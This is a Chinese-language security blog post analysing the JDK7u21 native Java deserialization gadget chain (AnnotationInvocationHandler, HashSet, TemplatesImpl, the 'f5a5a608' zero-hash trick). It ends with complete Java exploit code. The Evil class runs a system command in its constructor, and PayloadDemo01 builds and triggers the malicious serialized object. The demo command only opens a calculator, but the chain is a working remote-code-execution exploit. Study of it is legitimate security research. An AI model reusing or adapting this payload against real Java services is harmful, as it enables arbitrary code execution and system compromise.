JDK7u21原生反序列化链分析
前面分析的都是第三方的反序列化链,那么有没有JDK原生的反序列化链呢?答案是有的,JDK7u21 和 JDK8u20就是两条原生的反序列化链!
漏洞分析
equalsImpl动态调用方法
在AnnotationInvocationHandler.equalsImpl方法中存在一个动态方法调用
跟进一下getMemberMethods方法,可以知道是遍历this.type这个对象的所有方法
equalsImpl方法的作用就是遍历this.type这个对象的所有方法并一一执行,这个有什么危害呢?
设想一下,当this.type为Templates接口(接口里有newTransformer、getOutputProperties这两个待实现的方法),equalsImpl方法的参数var1为构造的恶意TemplatesImpl对象,则此时会遍历调用TemplatesImpl.newTransformer和TemplatesImpl.getOutputProperties方法,TemplatesImpl.newTransformer方法是反序列化链中很常见的一环!
那么接下来就是找一条到equalsImpl方法的调用链
AnnotationInvocationHandler.invoke方法
AnnotationInvocationHandler.invoke方法在前面ACC链中就有用到,这个方法里面当满足如下条件时就调用了equalsImpl方法,条件需要var4为equals
那么怎么调用到invoke方法呢?分析过ACC链的都知道可以通过动态代理调用到invoke方法
但是根据调用equalsImpl方法的条件,我们需要找到一个在readObject方法中动态调用到equals方法的类,这里用到的是HashSet类
HashSet类
HashSet.readObject方法调用HashMap.put方法对HashSet里面的元素进行处理
跟进put方法,这个方法动态调用了equals方法
试想一下,当key为代理对象(应该是这么叫吧),k为恶意构造的TemplatesImpl对象,则此时会调用AnnotationInvocationHandler.invoke->AnnotationInvocationHandler.equalsImpl->TemplatesImpl.newTransformer
调用链从而执行系统命令!所以HashSet里面要存放两个元素,第一个为TemplatesImpl对象,第二个为代理对象
当然前面的调用链得以执行需要满足HashSet里面元素的hash相等,跟进hash方法
对hash值计算起决定性作用的是k.hashCode方法,根据前面分析的HashSet里面的元素,代理对象的hash要和TemplatesImpl对象的hash值要相等,TemplatesImpl对象的hash值无法预测,那么只能去跟进代理对象的hash计算方法了。
当调用k.hashCode方法计算代理对象的hash时,会调用到AnnotationInvocationHandler.invoke->AnnotationInvocationHandler.hashCodeImpl调用链,跟进到hashCodeImpl方法
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
this.memberValues是实例化AnnotationInvocationHandler对象时传入的第二个参数,我们可以传入一个HashMap对象
从上面代码得知,当HashMap对象的键的hashCode()方法返回值为0时,var1变量就取决于HashMap对象的值的hash,那么此时让HashMap对象的值为TemplatesImpl对象,就可以实现hash值相等这一条件了!
"f5a5a608".hashCode()
计算出来的hash值就为0,那么让HashMap的键为5a5a608
字符串即可
构造payload
payload中使用到LinkedHashSet是避免使用HashSet有时无法执行系统命令的情况,具体原因没深究
Evil.java
package org.apache.shiro.test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
public Evil() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
}
PayloadDemo01.java
package org.apache.shiro.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;
public class PayloadDemo01 {
public static void main(String[] args) throws Exception {
HashSet hashSet = (HashSet) getObject();
serAndUnser(hashSet);
}
public static Object getObject() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(org.apache.shiro.test.Evil.class.getName());
byte[] bytes = clazz.toBytecode();
TemplatesImpl Evilobj = new TemplatesImpl();
HashMap hashMap = new HashMap();
hashMap.put("f5a5a608","val");
Class clazz02 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = clazz02.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
InvocationHandler handler = (InvocationHandler)con.newInstance(Templates.class,hashMap);
Templates proxy = (Templates) Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[]{Templates.class}, handler);
HashSet hashSet = new LinkedHashSet();
hashSet.add(Evilobj);
hashSet.add(proxy);
hashMap.put("f5a5a608",Evilobj);
setField(Evilobj,"_bytecodes",new byte[][]{bytes});
setField(Evilobj,"_name","ky");
setField(Evilobj,"_tfactory",new TransformerFactoryImpl());
return hashSet;
}
public static void setField(Object obj,String field,Object value) throws Exception{
Field declaredField = obj.getClass().getDeclaredField(field);
declaredField.setAccessible(true);
declaredField.set(obj,value);
}
public static void serAndUnser(Object obj) throws Exception{
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(obj);
oo.flush();
oo.close();
ByteArrayInputStream bi = new ByteArrayInputStream(bo.toByteArray());
ObjectInputStream oi = new ObjectInputStream(bi);
Object o = (Object) oi.readObject();
}
}
总结
在JDK7中,只要在JDK7u21版本之前的都可以使用这条链。因为JDK7和6是同时开发的(JDK7在更新的同时JDK6也在更新),所以并不是JDK6中都存在这条链,JDK6u45版本还可以用这条链。